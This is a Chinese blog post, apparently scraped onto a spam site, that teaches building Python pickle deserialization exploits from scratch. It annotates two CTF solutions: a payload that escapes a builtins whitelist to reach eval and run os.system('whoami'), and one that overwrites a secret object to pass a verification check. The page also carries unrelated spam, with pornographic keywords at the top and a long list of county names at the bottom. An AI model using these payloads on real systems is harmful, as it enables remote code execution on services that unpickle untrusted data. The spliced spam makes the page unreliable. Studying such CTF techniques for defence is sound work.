最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

python pickle從零構(gòu)造反序列化攻擊利用

2020-11-15 18:36 作者:小小小狗  | 我要投稿

有一篇很好的文章對此講的很詳細(xì)

https://xz.aliyun.com/t/7436#toc-0

此外我對文章中的手寫反序列化一塊進(jìn)行一些補(bǔ)充


幾道例題

Code-Breaking:picklecode

原payload:

b'''cbuiltins

getattr

p0

(cbuiltins

dict

S'get'

tRp1

cbuiltins

globals

)Rp2

00g1

(g2

S'builtins'

tRp3

0g0

(g3

S'eval'

tR(S'__import__("os").system("whoami")'

tR.

'''(建議復(fù)制到python去看)

首先要聲明的一點(diǎn)是反序列化的利用棧是從底端往上的,清楚匯編的同學(xué)應(yīng)該了解這一點(diǎn)


我的注解

b'''白名單REC

cbuiltins #import

getattr ? #獲取builtins白名單方法getattr

p0 ? #將getattr壓入mem0,字典保存


(cbuiltins? ? mark元素c模塊builtins方法dict壓棧

dict

S'get' ? 聲明元素字符串'get'

tRp1 ??

# 創(chuàng)建元組(builtins.dict,'get')調(diào)用getattr(dict,get)并將結(jié)果壓入mem0,保存為1號元素


cbuiltins?

globals ? #獲取builtins屬性globals

)Rp2

# 創(chuàng)建一個空元組,調(diào)用globals(), 結(jié)果壓入mem,保存為2號元素


00g1 #去除棧頂兩個元素,將mem1號元素壓棧,為dict.get

(g2? #mark g2 取出mem中2號元素壓棧并mark,為globals()結(jié)果?


S'builtins' # 定義字符串對象'builtins'

tRp3

# dict.get(globals(),'builtins')并將結(jié)果壓入mem3空間。(windows這里實(shí)測需要__builtins__


0g0 #清棧,載入g0 getattr

(g3? # 載入g3并mark

S'eval'

tR

# getattr(builtins,'eval')結(jié)果壓棧? ?

(S'__import__("os").system("whoami")'

tR.

# 壓入字符串,命令執(zhí)行

'''

高校戰(zhàn)疫網(wǎng)絡(luò)安全分享賽:webtmp

原payload:


b'''c__main__

secret

(S'name'

S"1"

S"category"

S"2"

db0(S"1"

S"2"

i__main__

Animal

.'''


我的注解

b'''變量覆蓋題

c__main__? #導(dǎo)入主模塊

secret # 主模塊的secret

(S'name'

S"1"

S"category"

S"2"

db0

#d 定義了個字典

#b 覆蓋掉secret中的同名字段

#0 清棧

(S"1"

S"2"

i__main__

Animal

#調(diào)用驗(yàn)證方法,這就是題目中的驗(yàn)證類了,盲猜類使用了__main__.secret做驗(yàn)證

.'''


python pickle從零構(gòu)造反序列化攻擊利用的評論 (共 條)

分享到微博請遵守國家法律
松阳县| 墨竹工卡县| 开平市| 嘉禾县| 潮安县| 肇庆市| 禹城市| 富锦市| 古交市| 家居| 浪卡子县| 栖霞市| 梅河口市| 新邵县| 霞浦县| 溧水县| 曲周县| 镇雄县| 栾川县| 涞源县| 洪雅县| 贵溪市| 三河市| 什邡市| 海伦市| 比如县| 福安市| 景泰县| 确山县| 温泉县| 石台县| 江达县| 阿尔山市| 灵川县| 中西区| 诸暨市| 清新县| 汉中市| 长治县| 涡阳县| 翁源县|